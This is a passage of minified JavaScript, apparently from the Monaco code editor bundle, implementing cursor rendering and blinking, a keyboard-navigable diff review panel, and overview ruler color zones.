i.ViewCursor(this._context,!0);this._domNode.domNode.insertBefore(s.getDomNode().domNode,this._primaryCursor.getDomNode().domNode.nextSibling),this._secondaryCursors.push(s)}else if(this._secondaryCursors.length>t.length)for(var a=this._secondaryCursors.length-t.length,r=0;r<a;r++)this._domNode.removeChild(this._secondaryCursors[0].getDomNode()),this._secondaryCursors.splice(0,1);for(r=0;r<t.length;r++)this._secondaryCursors[r].onCursorPositionChanged(t[r],n)},t.prototype.onCursorStateChanged=function(e){for(var t=[],n=0,i=e.selections.length;n<i;n++)t[n]=e.selections[n].getPosition();this._onCursorPositionChanged(t[0],t.slice(1),e.isInEditableRange);var o=e.selections[0].isEmpty();return this._selectionIsEmpty!==o&&(this._selectionIsEmpty=o,this._updateDomClassName()),!0},t.prototype.onDecorationsChanged=function(e){return!0},t.prototype.onFlushed=function(e){return!0},t.prototype.onFocusChanged=function(e){return this._editorHasFocus=e.isFocused,this._updateBlinking(),!1},t.prototype.onLinesChanged=function(e){return!0},t.prototype.onLinesDeleted=function(e){return!0},t.prototype.onLinesInserted=function(e){return!0},t.prototype.onScrollChanged=function(e){return!0},t.prototype.onTokensChanged=function(e){var t=function(t){for(var n=0,i=e.ranges.length;n<i;n++)if(e.ranges[n].fromLineNumber<=t.lineNumber&&t.lineNumber<=e.ranges[n].toLineNumber)return!0;return!1};if(t(this._primaryCursor.getPosition()))return!0;for(var n=0;n<this._secondaryCursors.length;n++)if(t(this._secondaryCursors[n].getPosition()))return!0;return!1},t.prototype.onZonesChanged=function(e){return!0},t.prototype.getPosition=function(){return this._primaryCursor.getPosition()},t.prototype._getCursorBlinking=function(){return this._editorHasFocus?this._readOnly||!this._primaryCursor.getIsInEditableRange()?u.TextEditorCursorBlinkingStyle.Solid:this._cursorBlinking:u.TextEditorCursorBlinkingStyle.Hidden},t.prototype._updateBlinking=function(){var e=this;this._startCursorBlinkAnimation.cancel(),this._cursorFlatBlinkInterval.cancel();var n=this._getCursorBlinking(),i=n===u.TextEditorCursorBlinkingStyle.Hidden,o=n===u.TextEditorCursorBlinkingStyle.Solid;i?this._hide():this._show(),this._blinkingEnabled=!1,this._updateDomClassName(),i||o||(n===u.TextEditorCursorBlinkingStyle.Blink?this._cursorFlatBlinkInterval.cancelAndSet(function(){e._isVisible?e._hide():e._show()},t.BLINK_INTERVAL):this._startCursorBlinkAnimation.setIfNotSet(function(){e._blinkingEnabled=!0,e._updateDomClassName()},t.BLINK_INTERVAL))},t.prototype._updateDomClassName=function(){this._domNode.setClassName(this._getClassName())},t.prototype._getClassName=function(){var e=\"cursors-layer\";switch(this._selectionIsEmpty||(e+=\" has-selection\"),this._cursorStyle){case u.TextEditorCursorStyle.Line:e+=\" cursor-line-style\";break;case u.TextEditorCursorStyle.Block:e+=\" cursor-block-style\";break;case u.TextEditorCursorStyle.Underline:e+=\" cursor-underline-style\";break;case u.TextEditorCursorStyle.LineThin:e+=\" cursor-line-thin-style\";break;case u.TextEditorCursorStyle.BlockOutline:e+=\" cursor-block-outline-style\";break;case u.TextEditorCursorStyle.UnderlineThin:e+=\" cursor-underline-thin-style\";break;default:e+=\" cursor-line-style\"}if(this._blinkingEnabled)switch(this._getCursorBlinking()){case u.TextEditorCursorBlinkingStyle.Blink:e+=\" cursor-blink\";break;case u.TextEditorCursorBlinkingStyle.Smooth:e+=\" cursor-smooth\";break;case u.TextEditorCursorBlinkingStyle.Phase:e+=\" cursor-phase\";break;case u.TextEditorCursorBlinkingStyle.Expand:e+=\" cursor-expand\";break;case u.TextEditorCursorBlinkingStyle.Solid:e+=\" cursor-solid\";break;default:e+=\" cursor-solid\"}else e+=\" cursor-solid\";return e},t.prototype._show=function(){this._primaryCursor.show();for(var e=0,t=this._secondaryCursors.length;e<t;e++)this._secondaryCursors[e].show();this._isVisible=!0},t.prototype._hide=function(){this._primaryCursor.hide();for(var e=0,t=this._secondaryCursors.length;e<t;e++)this._secondaryCursors[e].hide();this._isVisible=!1},t.prototype.prepareRender=function(e){this._primaryCursor.prepareRender(e);for(var t=0,n=this._secondaryCursors.length;t<n;t++)this._secondaryCursors[t].prepareRender(e)},t.prototype.render=function(e){this._renderData=[],this._renderData.push(this._primaryCursor.render(e));for(var t=0,n=this._secondaryCursors.length;t<n;t++)this._renderData.push(this._secondaryCursors[t].render(e));this._renderData=this._renderData.filter(function(e){return!!e})},t.prototype.getLastRenderData=function(){return this._renderData},t.BLINK_INTERVAL=500,t}(n.ViewPart);t.ViewCursors=l,s.registerThemingParticipant(function(e,t){var n=e.getColor(a.editorCursorForeground);if(n){var i=e.getColor(a.editorCursorBackground);i||(i=n.opposite()),t.addRule(\".monaco-editor .cursor { background-color: \"+n+\"; border-color: \"+n+\"; color: \"+i+\"; }\"),\"hc\"===e.type&&t.addRule(\".monaco-editor .cursors-layer.has-selection .cursor { border-left: 1px solid \"+i+\"; border-right: 1px solid \"+i+\"; }\")}})}),define(d[504],h([1,0,303,3,4,27,106,90,66,12,14,23,63,37,75,53,13,19,42,309]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m,_,y,C){\"use strict\";function b(e){for(var t=e.get(C.ICodeEditorService).listDiffEditors(),n=0,i=t.length;n<i;n++){var o=t[n];if(o.hasWidgetFocus())return o}return null}Object.defineProperty(t,\"__esModule\",{value:!0});var w;!function(e){e[e.Equal=0]=\"Equal\",e[e.Insert=1]=\"Insert\",e[e.Delete=2]=\"Delete\"}(w||(w={}));var S=function(){function e(e,t,n,i){this.originalLineStart=e,this.originalLineEnd=t,this.modifiedLineStart=n,this.modifiedLineEnd=i}return e.prototype.getType=function(){return 0===this.originalLineStart?1:0===this.modifiedLineStart?2:0},e}(),E=function(){return function(e){this.entries=e}}(),L=function(e){function t(t){var i=e.call(this)||this;return i._width=0,i._diffEditor=t,i._isVisible=!1,i.shadow=r.createFastDomNode(document.createElement(\"div\")),i.shadow.setClassName(\"diff-review-shadow\"),i.actionBarContainer=r.createFastDomNode(document.createElement(\"div\")),i.actionBarContainer.setClassName(\"diff-review-actions\"),i._actionBar=i._register(new g.ActionBar(i.actionBarContainer.domNode)),i._actionBar.push(new m.Action(\"diffreview.close\",n.localize(0,null),\"close-diff-review\",!0,function(){return i.hide(),null}),{label:!1,icon:!0}),i.domNode=r.createFastDomNode(document.createElement(\"div\")),i.domNode.setClassName(\"diff-review monaco-editor-background\"),i._content=r.createFastDomNode(document.createElement(\"div\")),i._content.setClassName(\"diff-review-content\"),i.scrollbar=i._register(new h.DomScrollableElement(i._content.domNode,{})),i.domNode.domNode.appendChild(i.scrollbar.getDomNode()),i._register(t.onDidUpdateDiff(function(){i._isVisible&&(i._diffs=i._compute(),i._render())})),i._register(t.getModifiedEditor().onDidChangeCursorPosition(function(){i._isVisible&&i._render()})),i._register(t.getOriginalEditor().onDidFocusEditor(function(){i._isVisible&&i.hide()})),i._register(t.getModifiedEditor().onDidFocusEditor(function(){i._isVisible&&i.hide()})),i._register(o.addStandardDisposableListener(i.domNode.domNode,\"click\",function(e){e.preventDefault();var t=o.findParentWithClass(e.target,\"diff-review-row\");t&&i._goToRow(t)})),i._register(o.addStandardDisposableListener(i.domNode.domNode,\"keydown\",function(e){(e.equals(18)||e.equals(2066)||e.equals(530))&&(e.preventDefault(),i._goToRow(i._getNextRow())),(e.equals(16)||e.equals(2064)||e.equals(528))&&(e.preventDefault(),i._goToRow(i._getPrevRow())),(e.equals(9)||e.equals(2057)||e.equals(521)||e.equals(1033))&&(e.preventDefault(),i.hide()),(e.equals(10)||e.equals(3))&&(e.preventDefault(),i.accept())})),i._diffs=[],i._currentDiff=null,i}return f(t,e),t.prototype.prev=function(){var e=0;if(this._isVisible||(this._diffs=this._compute()),this._isVisible){for(var t=-1,n=0,i=this._diffs.length;n<i;n++)if(this._diffs[n]===this._currentDiff){t=n;break}e=this._diffs.length+t-1}else e=this._findDiffIndex(this._diffEditor.getPosition());0!==this._diffs.length&&(e%=this._diffs.length,this._diffEditor.setPosition(new l.Position(this._diffs[e].entries[0].modifiedLineStart,1)),this._isVisible=!0,this._diffEditor.doLayout(),this._render(),this._goToRow(this._getNextRow()))},t.prototype.next=function(){var e=0;if(this._isVisible||(this._diffs=this._compute()),this._isVisible){for(var t=-1,n=0,i=this._diffs.length;n<i;n++)if(this._diffs[n]===this._currentDiff){t=n;break}e=t+1}else e=this._findDiffIndex(this._diffEditor.getPosition());0!==this._diffs.length&&(e%=this._diffs.length,this._diffEditor.setPosition(new l.Position(this._diffs[e].entries[0].modifiedLineStart,1)),this._isVisible=!0,this._diffEditor.doLayout(),this._render(),this._goToRow(this._getNextRow()))},t.prototype.accept=function(){var e=-1,t=this._getCurrentFocusedRow();if(t){var n=parseInt(t.getAttribute(\"data-line\"),10);isNaN(n)||(e=n)}this.hide(),-1!==e&&(this._diffEditor.setPosition(new l.Position(e,1)),this._diffEditor.revealPosition(new l.Position(e,1)))},t.prototype.hide=function(){this._isVisible=!1,this._diffEditor.focus(),this._diffEditor.doLayout(),this._render()},t.prototype._getPrevRow=function(){var e=this._getCurrentFocusedRow();return e?e.previousElementSibling?e.previousElementSibling:e:this._getFirstRow()},t.prototype._getNextRow=function(){var e=this._getCurrentFocusedRow();return e?e.nextElementSibling?e.nextElementSibling:e:this._getFirstRow()},t.prototype._getFirstRow=function(){return this.domNode.domNode.querySelector(\".diff-review-row\")},t.prototype._getCurrentFocusedRow=function(){var e=document.activeElement;return e&&/diff-review-row/.test(e.className)?e:null},t.prototype._goToRow=function(e){var t=this._getCurrentFocusedRow();e.tabIndex=0,e.focus(),t&&t!==e&&(t.tabIndex=-1),this.scrollbar.scanDomNode()},t.prototype.isVisible=function(){return this._isVisible},t.prototype.layout=function(e,t,n){this._width=t,this.shadow.setTop(e-6),this.shadow.setWidth(t),this.shadow.setHeight(this._isVisible?6:0),this.domNode.setTop(e),this.domNode.setWidth(t),this.domNode.setHeight(n),this._content.setHeight(n),this._content.setWidth(t),this._isVisible?(this.actionBarContainer.setAttribute(\"aria-hidden\",\"false\"),this.actionBarContainer.setDisplay(\"block\")):(this.actionBarContainer.setAttribute(\"aria-hidden\",\"true\"),this.actionBarContainer.setDisplay(\"none\"))},t.prototype._compute=function(){var e=this._diffEditor.getLineChanges();if(!e||0===e.length)return[];var n=this._diffEditor.getOriginalEditor().getModel(),i=this._diffEditor.getModifiedEditor().getModel();return n&&i?t._mergeAdjacent(e,n.getLineCount(),i.getLineCount()):[]},t._mergeAdjacent=function(e,t,n){if(!e||0===e.length)return[];for(var i=[],o=0,r=0,s=e.length;r<s;r++){var a=e[r],u=a.originalStartLineNumber,l=a.originalEndLineNumber,c=a.modifiedStartLineNumber,d=a.modifiedEndLineNumber,h=[],p=0,f=0===l?u:u-1,g=0===d?c:c-1,m=1,v=1;if(r>0){var _=e[r-1];m=0===_.originalEndLineNumber?_.originalStartLineNumber+1:_.originalEndLineNumber+1,v=0===_.modifiedEndLineNumber?_.modifiedStartLineNumber+1:_.modifiedEndLineNumber+1}var y=f-3+1,C=g-3+1;y<m&&(y+=k=m-y,C+=k),C<v&&(y+=k=v-C,C+=k),h[p++]=new S(y,f,C,g),0!==l&&(h[p++]=new S(u,l,0,0)),0!==d&&(h[p++]=new S(0,0,c,d));var b=0===l?u+1:l+1,w=0===d?c+1:d+1,L=t,x=n;if(r+1<s){var N=e[r+1];L=0===N.originalEndLineNumber?N.originalStartLineNumber:N.originalStartLineNumber-1,x=0===N.modifiedEndLineNumber?N.modifiedStartLineNumber:N.modifiedStartLineNumber-1}var M=b+3-1,T=w+3-1;if(M>L&&(M+=k=L-M,T+=k),T>x){var k=x-T;M+=k,T+=k}h[p++]=new S(b,M,w,T),i[o++]=new E(h)}for(var I=i[0].entries,D=[],O=0,r=1,s=i.length;r<s;r++){var R=i[r].entries,P=I[I.length-1],A=R[0];0===P.getType()&&0===A.getType()&&A.originalLineStart<=P.originalLineEnd?(I[I.length-1]=new S(P.originalLineStart,A.originalLineEnd,P.modifiedLineStart,A.modifiedLineEnd),I=I.concat(R.slice(1))):(D[O++]=new E(I),I=R)}return D[O++]=new E(I),D},t.prototype._findDiffIndex=function(e){for(var t=e.lineNumber,n=0,i=this._diffs.length;n<i;n++){var o=this._diffs[n].entries;if(t<=o[o.length-1].modifiedLineEnd)return n}return 0},t.prototype._render=function(){var e=this._diffEditor.getOriginalEditor().getConfiguration(),i=this._diffEditor.getModifiedEditor().getConfiguration(),r=this._diffEditor.getOriginalEditor().getModel(),s=this._diffEditor.getModifiedEditor().getModel(),a=r.getOptions(),l=s.getOptions();if(!this._isVisible||!r||!s)return o.clearNode(this._content.domNode),this._currentDiff=null,void this.scrollbar.scanDomNode();var c=this._diffEditor.getPosition(),d=this._findDiffIndex(c);if(this._diffs[d]!==this._currentDiff){this._currentDiff=this._diffs[d];var h=this._diffs[d].entries,p=document.createElement(\"div\");p.className=\"diff-review-table\",p.setAttribute(\"role\",\"list\"),u.Configuration.applyFontInfoSlow(p,i.fontInfo);for(var f=0,g=0,m=0,v=0,_=0,y=h.length;_<y;_++){var C=(N=h[_]).originalLineStart,b=N.originalLineEnd,w=N.modifiedLineStart,S=N.modifiedLineEnd;0!==C&&(0===f||C<f)&&(f=C),0!==b&&(0===g||b>g)&&(g=b),0!==w&&(0===m||w<m)&&(m=w),0!==S&&(0===v||S>v)&&(v=S)}var E=document.createElement(\"div\");E.className=\"diff-review-row\";var L=document.createElement(\"div\");L.className=\"diff-review-cell diff-review-summary\",L.appendChild(document.createTextNode(d+1+\"/\"+this._diffs.length+\": @@ -\"+f+\",\"+(g-f+1)+\" +\"+m+\",\"+(v-m+1)+\" @@\")),E.setAttribute(\"data-line\",String(m)),E.setAttribute(\"aria-label\",n.localize(1,null,d+1,this._diffs.length,f,g-f+1,m,v-m+1)),E.appendChild(L),E.setAttribute(\"role\",\"listitem\"),p.appendChild(E);for(var x=m,_=0,y=h.length;_<y;_++){var N=h[_];t._renderSection(p,N,x,this._width,e,r,a,i,s,l),0!==N.modifiedLineStart&&(x=N.modifiedLineEnd)}o.clearNode(this._content.domNode),this._content.domNode.appendChild(p),this.scrollbar.scanDomNode()}},t._renderSection=function(e,t,i,o,r,s,a,u,l,c){var d=t.getType(),h=\"diff-review-row\",p=\"\",f=\"diff-review-spacer\";switch(d){case 1:h=\"diff-review-row line-insert\",p=\" char-insert\",f=\"diff-review-spacer insert-sign\";break;case 2:h=\"diff-review-row line-delete\",p=\" char-delete\",f=\"diff-review-spacer delete-sign\"}for(var g=t.originalLineStart,m=t.originalLineEnd,v=t.modifiedLineStart,_=t.modifiedLineEnd,y=Math.max(_-v,m-g),C=r.layoutInfo.glyphMarginWidth+r.layoutInfo.lineNumbersWidth,b=10+u.layoutInfo.glyphMarginWidth+u.layoutInfo.lineNumbersWidth,w=0;w<=y;w++){var S=0===g?0:g+w,E=0===v?0:v+w,L=document.createElement(\"div\");L.style.minWidth=o+\"px\",L.className=h,L.setAttribute(\"role\",\"listitem\"),0!==E&&(i=E),L.setAttribute(\"data-line\",String(i));var x=document.createElement(\"div\");x.className=\"diff-review-cell\",L.appendChild(x);var N=document.createElement(\"span\");N.style.width=C+\"px\",N.style.minWidth=C+\"px\",N.className=\"diff-review-line-number\"+p,0!==S?N.appendChild(document.createTextNode(String(S))):N.innerHTML=\"&nbsp;\",x.appendChild(N);var M=document.createElement(\"span\");M.style.width=b+\"px\",M.style.minWidth=b+\"px\",M.style.paddingRight=\"10px\",M.className=\"diff-review-line-number\"+p,0!==E?M.appendChild(document.createTextNode(String(E))):M.innerHTML=\"&nbsp;\",x.appendChild(M);var T=document.createElement(\"span\");T.className=f,T.innerHTML=\"&nbsp;&nbsp;\",x.appendChild(T);var k=void 0;0!==E?(x.insertAdjacentHTML(\"beforeend\",this._renderLine(l,u,c.tabSize,E)),k=l.getLineContent(E)):(x.insertAdjacentHTML(\"beforeend\",this._renderLine(s,r,a.tabSize,S)),k=s.getLineContent(S)),0===k.length&&(k=n.localize(2,null));var I=void 0;switch(d){case 0:I=n.localize(3,null,S,E,k);break;case 1:I=n.localize(4,null,E,k);break;case 2:I=n.localize(5,null,S,k)}L.setAttribute(\"aria-label\",I),e.appendChild(L)}},t._renderLine=function(e,t,n,i){var o=e.getLineContent(i);return s.renderViewLine(new s.RenderLineInput(t.fontInfo.isMonospace&&!t.viewInfo.disableMonospaceOptimizations,o,e.mightContainRTL(),0,[new a.ViewLineToken(o.length,16793600)],[],n,t.fontInfo.spaceWidth,t.viewInfo.stopRenderingLineAfter,t.viewInfo.renderWhitespace,t.viewInfo.renderControlCharacters,t.viewInfo.fontLigatures)).html},t}(i.Disposable);t.DiffReview=L,c.registerThemingParticipant(function(e,t){var n=e.getColor(p.editorLineNumbers);n&&t.addRule(\".monaco-diff-editor .diff-review-line-number { color: \"+n+\"; }\");var i=e.getColor(d.scrollbarShadow);i&&t.addRule(\".monaco-diff-editor .diff-review-shadow { box-shadow: \"+i+\" 0 -6px 6px -6px inset; }\")});(function(e){function t(){return e.call(this,{id:\"editor.action.diffReview.next\",label:n.localize(6,null),alias:\"Go to Next Difference\",precondition:y.ContextKeyExpr.has(\"isInDiffEditor\"),kbOpts:{kbExpr:null,primary:65}})||this}f(t,e),t.prototype.run=function(e,t){var n=b(e);n&&n.diffReviewNext()},t=v([_.editorAction],t)})(_.EditorAction),function(e){function t(){return e.call(this,{id:\"editor.action.diffReview.prev\",label:n.localize(7,null),alias:\"Go to Previous Difference\",precondition:y.ContextKeyExpr.has(\"isInDiffEditor\"),kbOpts:{kbExpr:null,primary:1089}})||this}f(t,e),t.prototype.run=function(e,t){var n=b(e);n&&n.diffReviewPrev()},t=v([_.editorAction],t)}(_.EditorAction)}),define(d[140],h([1,0,14]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(){return function(e,t,n,i){this.from=0|e,this.to=0|t,this.colorId=0|n,this.position=0|i}}();t.ColorZone=i;var o=function(){function e(e,t,n,i,o,r,s){this.startLineNumber=e,this.endLineNumber=t,this.position=n,this.forceHeight=i,this._color=o,this._darkColor=r,this._hcColor=s,this._colorZones=null}return e.prototype.getColor=function(e){switch(e){case n.HIGH_CONTRAST:return this._hcColor;case n.DARK:return this._darkColor}return this._color},e.prototype.equals=function(e){return this.startLineNumber===e.startLineNumber&&this.endLineNumber===e.endLineNumber&&this.position===e.position&&this.forceHeight===e.forceHeight&&this._color===e._color&&this._darkColor===e._darkColor&&this._hcColor===e._hcColor},e.prototype.compareTo=function(e){return this.startLineNumber===e.startLineNumber?this.endLineNumber===e.endLineNumber?this.forceHeight===e.forceHeight?this.position===e.position?this._darkColor===e._darkColor?this._color===e._color?this._hcColor===e._hcColor?0:this._hcColor<e._hcColor?-1:1:this._color<e._color?-1:1:this._darkColor<e._darkColor?-1:1:this.position-e.position:this.forceHeight-e.forceHeight:this.endLineNumber-e.endLineNumber:this.startLineNumber-e.startLineNumber},e.prototype.setColorZones=function(e){this._colorZones=e},e.prototype.getColorZones=function(){return this._colorZones},e}();t.OverviewRulerZone=o;var r=function(){function e(e){this._getVerticalOffsetForLine=e,this._zones=[],this._colorZonesInvalid=!1,this._lineHeight=0,this._domWidth=0,this._domHeight=0,this._outerHeight=0,this._maximumHeight=0,this._minimumHeight=0,this._themeType=n.LIGHT,this._pixelRatio=1,this._lastAssignedId=0,this._color2Id=Object.create(null),this._id2Color=[]}return e.prototype.getId2Color=function(){return this._id2Color},e.prototype.setZones=function(e){e.sort(function(e,t){return e.compareTo(t)});for(var t=this._zones,n=0,i=this._zones.length,o=0,r=e.length,s=[];o<r;){var a=e[o];if(n>=i)s.push(a),o++;else{var u=t[n],l=u.compareTo(a);l<0?n++:l>0?(s.push(a),o++):(s.push(u),n++,o++)}}this._zones=s},e.prototype.setLineHeight=function(e){return this._lineHeight!==e&&(this._lineHeight=e,this._colorZonesInvalid=!0,!0)},e.prototype.setPixelRatio=function(e){this._pixelRatio=e,this._colorZonesInvalid=!0},e.prototype.getDOMWidth=function(){return this._domWidth},e.prototype.getCanvasWidth=function(){return this._domWidth*this._pixelRatio},e.prototype.setDOMWidth=function(e){return this._domWidth!==e&&(this._domWidth=e,this._colorZonesInvalid=!0,!0)},e.prototype.getDOMHeight=function(){return this._domHeight},e.prototype.getCanvasHeight=function(){return this._domHeight*this._pixelRatio},e.prototype.setDOMHeight=function(e){return this._domHeight!==e&&(this._domHeight=e,this._colorZonesInvalid=!0,!0)},e.prototype.getOuterHeight=function(){return this._outerHeight},e.prototype.setOuterHeight=function(e){return this._outerHeight!==e&&(this._outerHeight=e,this._colorZonesInvalid=!0,!0)},e.prototype.setMaximumHeight=function(e){return this._maximumHeight!==e&&(this._maximumHeight=e,this._colorZonesInvalid=!0,!0)},e.prototype.setMinimumHeight=function(e){return this._minimumHeight!==e&&(this._minimumHeight=e,this._colorZonesInvalid=!0,!0)},e.prototype.setThemeType=function(e){return this._themeType!==e&&(this._themeType=e,this._colorZonesInvalid=!0,!0)},e.prototype.resolveColorZones=function(){for(var e=this._colorZonesInvalid,t=Math.floor(this._lineHeight),n=Math.floor(this.getCanvasHeight()),i=Math.floor(this._maximumHeight*this._pixelRatio),o=Math.floor(this._minimumHeight*this._pixelRatio),r=this._themeType,s=n/Math.floor(this._outerHeight),a=[],u=0,l=this._zones.length;u<l;u++){var c=this._zones[u];if(!e){var d=c.getColorZones();if(d){for(var h=0,p=d.length;h<p;h++)a.push(d[h]);continue}}var f=[];if(c.forceHeight){var g=Math.floor(c.forceHeight*this._pixelRatio),m=Math.floor(this._getVerticalOffsetForLine(c.startLineNumber)),v=(m=Math.floor(m*s))+g;f.push(this.createZone(n,m,v,g,g,c.getColor(r),c.position))}else{var m=Math.floor(this._getVerticalOffsetForLine(c.startLineNumber)),v=Math.floor(this._getVerticalOffsetForLine(c.endLineNumber))+t;m=Math.floor(m*s),v=Math.floor(v*s);var _=(c.endLineNumber-c.startLineNumber+1)*i;if(v-m>_)for(var y=c.startLineNumber;y<=c.endLineNumber;y++)v=(m=Math.floor(this._getVerticalOffsetForLine(y)))+t,m=Math.floor(m*s),v=Math.floor(v*s),f.push(this.createZone(n,m,v,o,i,c.getColor(r),c.position));else f.push(this.createZone(n,m,v,o,_,c.getColor(r),c.position))}c.setColorZones(f);for(var h=0,p=f.length;h<p;h++)a.push(f[h])}this._colorZonesInvalid=!1;return a.sort(function(e,t){return e.colorId===t.colorId?e.from===t.from?e.to-t.to:e.from-t.from:e.colorId-t.colorId}),a},e.prototype.createZone=function(e,t,n,o,r,s,a){e=Math.floor(e),t=Math.floor(t),n=Math.floor(n),o=Math.floor(o),r=Math.floor(r);var u=Math.floor((t+n)/2),l=n-u;l>r/2&&(l=r/2),l<o/2&&(l=o/2),u-l<0&&(u=l),u+l>e&&(u=e-l);var c=this._color2Id[s];return c||(c=++this._lastAssignedId,this._color2Id[s]=c,this._id2Color[c]=s),new i(u-l,u+l,c,a)},e}();t.OverviewZoneManager=r}),define(d[190],h([1,0,27,20,140,14]),function(e,t,n,i,o,r){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var s=function(){function e(e,t,i,s,a,u,l,c){this._canvasLeftOffset=e,this._domNode=n.createFastDomNode(document.createElement(\"canvas\")),this._domNode.setClassName(t),this._domNode.setPosition(\"absolute\"),this._domNode.setLayerHinting(!0),this._lanesCount=3,this._background=null,this._zoneManager=new o.OverviewZoneManager(c),this._zoneManager.setMinimumHeight(u),this._zoneManager.setMaximumHeight(l),this._zoneManager.setThemeType(r.LIGHT),this._zoneManager.setDOMWidth(0),this._zoneManager.setDOMHeight(0),this._zoneManager.setOuterHeight(i),this._zoneManager.setLineHeight(s),this._zoneManager.setPixelRatio(a)}return e.prototype.dispose=function(){this._zoneManager=null},e.prototype.setLayout=function(e,t){this._domNode.setTop(e.top),this._domNode.setRight(e.right);var n=!1;n=this._zoneManager.setDOMWidth(e.width)||n,(n=this._zoneManager.setDOMHeight(e.height)||n)&&(this._domNode.setWidth(this._zoneManager.getDOMWidth()),this._domNode.setHeight(this._zoneManager.getDOMHeight()),this._domNode.domNode.width=this._zoneManager.getCanvasWidth(),this._domNode.domNode.height=this._zoneManager.getCanvasHeight(),t&&this.render(!0))},e.prototype.getLanesCount=function(){return this._lanesCount},e.prototype.setLanesCount=function(e,t){this._lanesCount=e,t&&this.render(!0)},e.prototype.setThemeType=function(e,t){this._zoneManager.setThemeType(e),t&&this.render(!0)},e.prototype.setUseBackground=function(e,t){this._background=e,t&&this.render(!0)},e.prototype.getDomNode=function(){return this._domNode.domNode},e.prototype.getPixelWidth=function(){return this._zoneManager.getCanvasWidth()},e.prototype.getPixelHeight=function(){return this._zoneManager.getCanvasHeight()},e.prototype.setScrollHeight=function(e,t){this._zoneManager.setOuterHeight(e),t&&this.render(!0)},e.prototype.setLineHeight=function(e,t){this._zoneManager.setLineHeight(e),t&&this.render(!0)},e.prototype.setPixelRatio=function(e,t){this._zoneManager.setPixelRatio(e),this._domNode.setWidth(this._zoneManager.getDOMWidth()),this._domNode.setHeight(this._zoneManager.getDOMHeight()),this._domNode.domNode.width=this._zoneManager.getCanvasWidth(),this._domNode.domNode.height=this._zoneManager.getCanvasHeight(),t&&this.render(!0)},e.prototype.setZones=function(e,t){this._zoneManager.setZones(e),t&&this.render(!1)},e.prototype.render=function(e){if(0===this._zoneManager.getOuterHeight())return!1;var t=this._zoneManager.getCanvasWidth(),n=this._zoneManager.getCanvasHeight(),i=this._zoneManager.resolveColorZones(),o=this._zoneManager.getId2Color(),r=this._domNode.domNode.getContext(\"2d\");if(null===this._background?r.clearRect(0,0,t,n):(r.fillStyle=this._background.toRGBHex(),r.fillRect(0,0,t,n)),i.length>0){var s=t-this._canvasLeftOffset;this._lanesCount>=3?this._renderThreeLanes(r,i,o,s):2===this._lanesCount?this._renderTwoLanes(r,i,o,s):1===this._lanesCount&&this._renderOneLane(r,i,o,s)}return!0},e.prototype._renderOneLane=function(e,t,n,o){this._renderVerticalPatch(e,t,n,i.OverviewRulerLane.Left|i.OverviewRulerLane.Center|i.OverviewRulerLane.Right,this._canvasLeftOffset,o)},e.prototype._renderTwoLanes=function(e,t,n,o){var r=Math.floor(o/2),s=o-r,a=this._canvasLeftOffset,u=this._canvasLeftOffset+r;this._renderVerticalPatch(e,t,n,i.OverviewRulerLane.Left|i.OverviewRulerLane.Center,a,r),this._renderVerticalPatch(e,t,n,i.OverviewRulerLane.Right,u,s)},e.prototype._renderThreeLanes=function(e,t,n,o){var r=Math.floor(o/3),s=Math.floor(o/3),a=o-r-s,u=this._canvasLeftOffset,l=this._canvasLeftOffset+r,c=this._canvasLeftOffset+r+a;this._renderVerticalPatch(e,t,n,i.OverviewRulerLane.Left,u,r),this._renderVerticalPatch(e,t,n,i.OverviewRulerLane.Center,l,a),this._renderVerticalPatch(e,t,n,i.OverviewRulerLane.Right,c,s)},e.prototype._renderVerticalPatch=function(e,t,n,i,o,r){for(var s=0,a=0,u=0,l=0,c=t.length;l<c;l++){var d=t[l];if(d.position&i){var h=d.colorId,p=d.from,f=d.to;h!==s?(e.fillRect(o,a,r,u-a),s=h,e.fillStyle=n[s],a=p,u=f):u>=p?u=Math.max(u,f):(e.fillRect(o,a,r,u-a),a=p,u=f)}}e.fillRect(o,a,r,u-a)},e}();t.OverviewRulerImpl=s}),define(d[507],h([1,0,20,35,190,17,140,37,32]),function(e,t,n,i,o,r,s,a,u){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var l=function(e){function t(n){var i=e.call(this,n)||this;return i._overviewRuler=new o.OverviewRulerImpl(1,\"decorationsOverviewRuler\",i._context.viewLayout.getScrollHeight(),i._context.configuration.editor.lineHeight,i._context.configuration.editor.pixelRatio,t.MIN_DECORATION_HEIGHT,t.MAX_DECORATION_HEIGHT,function(e){return i._context.viewLayout.getVerticalOffsetForLineNumber(e)}),i._overviewRuler.setLanesCount(i._context.configuration.editor.viewInfo.overviewRulerLanes,!1),i._overviewRuler.setLayout(i._context.configuration.editor.layoutInfo.overviewRuler,!1),i._renderBorder=i._context.configuration.editor.viewInfo.overviewRulerBorder,i._updateColors(),i._updateBackground(!1),i._tokensColorTrackerListener=r.TokenizationRegistry.onDidChange(function(e){e.changedColorMap&&i._updateBackground(!0)}),i._shouldUpdateDecorations=!0,i._zonesFromDecorations=[],i._shouldUpdateCursorPosition=!0,i._hideCursor=i._context.configuration.editor.viewInfo.hideCursorInOverviewRuler,i._zonesFromCursors=[],i._cursorPositions=[],i}return f(t,e),t.prototype.dispose=function(){e.prototype.dispose.call(this),this._overviewRuler.dispose(),this._tokensColorTrackerListener.dispose()},t.prototype._updateBackground=function(e){var t=this._context.configuration.editor.viewInfo.minimap.enabled;this._overviewRuler.setUseBackground(t?r.TokenizationRegistry.getDefaultBackground():null,e)},t.prototype.onConfigurationChanged=function(e){var t=this._overviewRuler.getLanesCount(),n=this._context.configuration.editor.viewInfo.overviewRulerLanes;return t!==n&&this._overviewRuler.setLanesCount(n,!1),e.lineHeight&&this._overviewRuler.setLineHeight(this._context.configuration.editor.lineHeight,!1),e.pixelRatio&&this._overviewRuler.setPixelRatio(this._context.configuration.editor.pixelRatio,!1),e.viewInfo&&(this._renderBorder=this._context.configuration.editor.viewInfo.overviewRulerBorder,this._hideCursor=this._context.configuration.editor.viewInfo.hideCursorInOverviewRuler,this._shouldUpdateCursorPosition=!0,this._updateBackground(!1)),e.layoutInfo&&this._overviewRuler.setLayout(this._context.configuration.editor.layoutInfo.overviewRuler,!1),!0},t.prototype.onCursorStateChanged=function(e){this._shouldUpdateCursorPosition=!0,this._cursorPositions=[];for(var t=0,n=e.selections.length;t<n;t++)this._cursorPositions[t]=e.selections[t].getPosition();return!0},t.prototype.onDecorationsChanged=function(e){return 